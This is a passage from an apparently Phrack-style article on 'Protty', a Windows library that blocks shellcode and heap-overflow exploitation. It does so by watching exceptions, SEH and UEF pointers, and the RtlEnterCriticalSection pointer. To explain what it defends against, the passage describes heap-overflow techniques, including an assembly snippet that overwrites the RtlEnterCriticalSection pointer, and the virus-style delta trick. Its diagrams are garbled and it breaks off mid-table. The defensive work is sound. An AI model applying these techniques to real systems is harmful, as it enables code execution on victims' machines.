‑‑‑ SNIP ‑‑‑ END OF SCHEMA. 4a

Algorithm/method for mechanism used in Protty2 (P2):

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

1. Get InInitializationOrderModuleList [7] structure location

2. Write table entry (write generated faked address)

3. Write table entry (write original location of InInitOrderML...) 4. Change the pointer to InInitializationOrderModuleList, make it point to bad address.

Here is the schema (ML stands for ModuleList):

‑‑‑ SNIP ‑‑‑ START OF SCHEMA. 4b

[PEB_LDR_DATA]:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Length |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

| Initialized |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

| SsHandle | |LIST_ENTRY InInit.OrderML |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑| .‑‑‑‑‑‑‑‑

| InLoadOrderML | | ‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑| |

| InMemoryOrderML | |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑| BEFORE^ | AFTER>

| InInit.OrderML |‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑> RANDOM MINUS VALUE

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑| not existing location)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

NOTE: why MINUS VALUE? Generally I choose minus one because there is no minus valid location and this will generate a exception for sure, anyway this value can be changed and we can add a DECOY memory area like in upper cases (but in this case region size should be bigger). Minus value can be used for shellcodes to find protection occurency ‑ however if anybody wanna play...

‑‑‑ SNIP ‑‑‑ END OF SCHEMA. 4b

FEATURE: Disabling SEH / Unhandled Exception Filter pointer usage. ‑‑‑‑‑‑‑

Description for both Protty1 (P1) and Protty 2 (P2)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Every time access violation exception occurs in protected program, prevention mechanism tests if the currently active SEH frame points to writeable location, if so Protty will stop the execution.

If UEF_HEURISTISC is set to TRUE (1) Protty will check that actual set Unhandled Exception Filter starts with prolog (push ebp/mov ebp,esp) or starts with (push esi/mov esi,[esp+8]) otherwise Protty will kill the application. After this condition Protty checks that currently active Unhandled Exception Filter is writeable if so application is terminated (this also stands out for the default non heuristisc mode).

Why UEF? Unhandled Exception Filter is surely one of the most used methods within exploiting windows heap overflows. The goal of this method is to setup our own Unhandled Filter, then when any unhandled exception will occur attackers code can be executed. Normally attacker tries to set UEF to point to call dword ptr [edi+78h], because 78h bytes past EDI there is a pointer to the end of the buffer. To get more description of this exploitation technique check point [8] from Reference section.

NOTE: Maybe there should be also a low HEURISTICS mode with jmp dword ptr [edi+78h] / call dword ptr [edi+78h] occurency checker, however the first one covers them all.

FEATURE: RtlEnterCrticialSection pointer protector

‑‑‑‑‑‑‑

Description for both Protty1 (P1) and Protty 2 (P2)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Like in above paragraph, library checks if pointer to RtlEnterCriticalSection pointer has changed, if it did, prevention library immediately resets the original pointer and stops the program execution.

RtlEnterCritical pointer is often used in windows heap overflows exploitation.

Here is the sample attack:

(sample scenerio of heap overflow)

;‑‑‑‑‑‑‑‑‑‑SNIP‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

; EAX, ECX are controled by attacker

; assume:

; ECX=07FFDF020h (RtlEnterCrticialSection pointer)

; EAX=location where attacker want to jump

mov [ecx],eax; overwrites the pointer

mov [eax+0x4],ecx; probably causes access

violation

; if so the execution is

returned to "EAX"

;‑‑‑‑‑‑‑‑‑‑SNIP‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

You should also notice that even when the access violation will not occur it doesn't mean attackers code will be not excuted.

Many functions (not directly) are calling RtlEnterCriticalSection (the address where 07FFDF020h points), so attacker code can be executed for example while calling ExitProcess API. To find more details on this exploitation technique check point [10] from Reference section.

FEATURE: position independent code, running in dynamicaly allocated memory ‑‑‑‑‑‑‑

Protty library is a position independent code since it uses so called "delta handling". Before start of the mechanism Protty allocates memory at random location and copy its body there, and there it is executed.

What is delta handling? Lets take a look at the following code:

;‑‑‑‑‑‑‑‑‑‑SNIP‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

call delta; put delta label offset on the

stack

delta: pop ebp; ebp=now delta offset

sub ebp offset delta; now sub the linking value of

delta"

;‑‑‑‑‑‑‑‑‑‑SNIP‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

As you can see delta handle is a numeric value which helps you with addressing variables/etc. especially when your code do not lay in native location.

Delta handling is very common technique used by computer viruses. Here is a little pseudo code which shows how to use delta handling with addressing:

;‑‑‑‑‑‑‑‑‑‑SNIP‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

;ebp=delta handle

mov eax,dword ptr [ebp+variable1]

lea ebx,[ebp+variable2]

;‑‑‑‑‑‑‑‑‑‑SNIP‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Of course any register (not only EBP) can be used :)

The position independent code was done to avoid easy disabling/patching by the shellcode itself.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|Description of mechanism implemented in Protty1 (P1)|

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

NOTE: That all features written here were described above. You can find complete descriptions there (or links to them).

Mechanism takeovers the control of KiUserExceptionDispatcher API (exported by NTDLL.DLL) and that's where the main mechanism is implemented. From that point every exception (caused by program) is being filtered by our library. To be const‑stricto, used mechanism only filters all Access Violations exceptions. When such event occurs Protty first checks if the active SEH (Structured Exception Handler) frame points to good location (not writeable) if the result is ok it continues testing, otherwise it terminates the application. After SEH frame checking, library checks the address where violation came from, if its bad (writeable) the program is terminated. Then it is doing the same with pointer to Unhandled Exception Filter. Next it checks if pointer to RtlEnterCriticalSection was changed (very common and useful technique for exploiting windows based heap overflows) and kills the application if it was (of course the pointer to RtlEnterCriticalSection is being reset in the termination procedure). If application wasn't signed as BAD and terminated so far, mechanism must check if violation was caused by reference to our protected memory regions, if not it just returns execution to original handler. Otherwise it checks if memory which caused the exception is stored somewhere on the stack or is writeable. If it is, program is terminated. When the reference to protected memory comes from GOOD location, mechanism resets protection of needed region and emulates the instruction which caused access violation exception (im using z0mbie's LDE32 to determine instruction length), after the emulation, library marks requested region with PAGE_NOACCESS again and continues program execution. That's all ‑ for more information check the source codes attached and test it in action. (Take a look at the "catched shellcodes" written in next section)

In the time of last add‑ons for the article, Phrack stuff noticed me that single stepping will be more good solution. I must confess it really can do its job in more fast way. I mark it as TODO.

Few words about the emulation used in P1:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Generally I have two ways of doing it. You already know one. I'm going to describe another one now.

Instead of placing jump after instruction that caused the access violation exception I could emulate it locally, it's generally more slower/faster more weird (?), who cares (?) but it should work also. Here is the short description of what have to be done:

(optional algorithm replacement for second description written below) STEP 1 ‑ Get instruction length, copy the instruction to local buffer STEP 2 ‑ Deprotect needed region

STEP 3 ‑ Change the contexts, of course leave the EIP alone :)) save the old context somewhere

STEP 4 ‑ Emulate the instruction

STEP 5 ‑ Update the "target" context, reset old context

STEP 6 ‑ Protect all regions again

STEP 7 ‑ continue program execution by NtContinue() function

And here is the more detailed description of currently used instruction emulation mechanism in Protty:

STEP 1 ‑ Deprotect needed region

STEP 2 ‑ Get instruction length

STEP 3 ‑ Make the location (placed after instruction) writeable STEP 4 ‑ Save 7 bytes from there

STEP 5 ‑ Patch it with jump

STEP 6 ‑ use NtContinue() to continue the execution, after executing the first instruction, second one (placed jump) returns the execution to Protty.

STEP 7 ‑ Reset old 7 bytes to original location (un‑hooking) STEP 8 ‑ Mark the location (placed after instruction) as PAGE_EXECUTE_READ (not writeable)

STEP 9 ‑ Protect all regions again, return to "host"

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|Description of mechanism implemented in Protty2 (P2)|

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The newer version of Protty library (P2) also resides in KiUserExceptionDispatcher,where it filters all exceptions like the previous version did. So the method of SEH/UEF protection is the same as described in Protty1. What is the main difference? Main difference is that current mechanism do not emulate instruction and do not deprotect regions. It works in completely different way. When some instruction (assume it is GOOD ‑ stored in not writeable location) tries to access protected region it causes access violation. Why so? Because if you remember the ascii schemas most of them point to DECOY (which is not accessible memory) or to a minus memory location (invalid one). This causes an exception, normally as described earlier the mechanism should de‑prot the locations and emulate the intruction, but not in this case. Here we are checking what registers were used by the instruction which caused fault, and then by scanning them we are checking if any of them points somewhere inside "DECOYS" offsets.

How the mechanism know whats registers are used by instruction!?

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

To understand how the prevention mechanism works, the reader should know about so called "opcode decoding", this !IS NOT! the full tutorial but it describes the main things reader should know (for more check www.intel.com or [8]). I would also like to thank Satish K.S for supporting me with great information which helped me to make the "tutorial" suitable for human beings (chEERs ricy! :))

The instructions from Intel Architecture are encoded by using subsets of the general machine instruction format, like here:

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A A A * * * A A A 7 6 5 4 3 2 1 0 A 7 6 5 4 3 2 1 0 A 7 6 5 4 3 2 1 0 A 7 6 5 4 3 2 1 0 A AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAA AAAAAAAAAAAAAAA A A A A A A Opcode ModR/M Byte SIB Byte 1 or 2 Bytes

Each instruction consists of an Opcode, a Register and/or Address mode specifier (if required) consisting of the ModR/M byte and sometimes the scale ‑index‑base (SIB) byte, a displacement (if required), and an immediate data field (if required).

Z0mbies ADE32 engine can disassembly every instruction and return the DISASM structure which provides information useful for us.

Here is the structure:

struct disasm_struct

{

IN OUT BYTE disasm_defaddr; ‑‑ specify 4 for 32‑bit code IN OUT BYTE disasm_defdata; ‑‑ specify 4 for 32‑bit code OUT DWORD disasm_len; ‑‑ total length of opcode or 0 OUT DWORD disasm_flag; ‑‑ bitset of C_xxx

OUT DWORD disasm_addrsize; ‑‑ size of address (or 0 if no addr) OUT DWORD disasm_datasize; ‑‑ size of data (or 0 if no data) OUT BYTE disasm_rep; ‑‑ REP prefix value (if C_REP) OUT BYTE disasm_seg; ‑‑ SEG prefix value (if C_SEG) OUT BYTE disasm_opcode; ‑‑ opcode value (present if no error) OUT BYTE disasm_opcode2; ‑‑ 2nd opcode value (if C_OPCODE2) OUT BYTE disasm_modrm; ‑‑ MODRM value (if C_MODRM) OUT BYTE disasm_sib; ‑‑ SIB value (if C_SIB)

OUT BYTE disasm_addr[8]; ‑‑ address (if disasm_addrsize!=0) OUT BYTE disasm_data[8]; ‑‑ data (if disasm_datasize!=0) };

To get the registers used by the instruction, we need to check the disasm_modrm value. Of course there are few exceptions like one‑bytes intructions (no ModR/M) like "lodsb/lodsw/stosb" etc.etc. Protty2 is doing manual check for them. Sometimes encoding of the ModR/M requires a SIB byte to fully specify the addressing form. The base+index and scale+index forms of a 32bit addressing require the SIB byte. This, due to lack of free time, wasn't implemented in P2, however when the mechanism cannot find the "registers used" it does some brute‑scan and check all registers in host context (this should cover most of the unknown‑cases).

But lets go back to ModR/M‑s:

Lets imagine we are disassembling following instruction:

‑ MOV EAX,DWORD PTR DS:[EBX]

The value returned in disasm_modrm is equal to 03h. By knowing this the library checks following table (look for 03):

(32‑Bit Addressing Forms with the ModR/M Byte Translated Table) AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A ModR/M Byte A Src/Dst, Src/Dst Operand AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A00 A [EAX], EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A01 A [ECX], EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A02 A [EDX], EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A03 A [EBX], EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A04 A [‑‑][‑‑], EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A05 A [disp32], EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A06 A [ESI], EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A07 A [EDI], EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A08 A [EAX], ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A09 A [ECX], ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A0A A [EDX], ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A0B A [EBX], ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A0C A [‑‑][‑‑], ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A0D A [disp32], ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A0E A [ESI], ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A0F A [EDI], ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A10 A [EAX], EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A11 A [ECX], EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A12 A [EDX], EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A13 A [EBX], EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A14 A [‑‑][‑‑], EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A15 A [disp32], EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A16 A [ESI], EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A17 A [EDI], EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A18 A [EAX], EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A19 A [ECX], EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A1A A [EDX], EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A1B A [EBX], EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A1C A [‑‑][‑‑], EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A1D A [disp32], EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A1E A [ESI], EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A1F A [EDI], EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A20 A [EAX], ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A21 A [ECX], ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A22 A [EDX], ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A23 A [EBX], ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A24 A [‑‑][‑‑], ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A25 A [disp32], ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A26 A [ESI], ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A27 A [EDI], ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A28 A [EAX], EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A29 A [ECX], EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A2A A [EDX], EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A2B A [EBX], EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A2C A [‑‑][‑‑], EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A2D A [disp32], EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A2E A [ESI], EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A2F A [EDI], EBP/BP/CH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A30 A [EAX], ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A31 A [ECX], ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A32 A [EDX], ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A33 A [EBX], ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A34 A [‑‑][‑‑], ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A35 A [disp32], ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A36 A [ESI], ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A37 A [EDI], ESI/SI/DH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A38 A [EAX], EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A39 A [ECX], EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A3A A [EDX], EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A3B A [EBX], EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A3C A [‑‑][‑‑], EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A3D A [disp32], EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A3E A [ESI], EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A3F A [EDI], EDI/DI/BH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A40 A [disp8+EAX], EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A41 A [disp8+ECX], EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A42 A [disp8+EDX], EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A43 A [disp8+EBX], EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A44 A [disp8+[‑‑][‑‑]], EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A45 A [disp8+EBP], EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A46 A [disp8+ESI], EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A47 A [disp8+EDI], EAX/AX/AL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A48 A [disp8+EAX], ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A49 A [disp8+ECX], ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A4A A [disp8+EDX], ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A4B A [disp8+EBX], ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A4C A [disp8+[‑‑][‑‑]], ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A4D A [disp8+EBP], ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A4E A [disp8+ESI], ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A4F A [disp8+EDI], ECX/CX/CL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A50 A [disp8+EAX], EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A51 A [disp8+ECX], EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A52 A [disp8+EDX], EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A53 A [disp8+EBX], EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A54 A [disp8+[‑‑][‑‑]], EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A55 A [disp8+EBP], EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A56 A [disp8+ESI], EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A57 A [disp8+EDI], EDX/DX/DL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A58 A [disp8+EAX], EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A59 A [disp8+ECX], EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A5A A [disp8+EDX], EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A5B A [disp8+EBX], EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A5C A [disp8+[‑‑][‑‑]], EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A5D A [disp8+EBP], EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A5E A [disp8+ESI], EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A5F A [disp8+EDI], EBX/BX/BL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A60 A [disp8+EAX], ESP/SP/AH AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A61 A [disp8+ECX], ESP/SP/AH 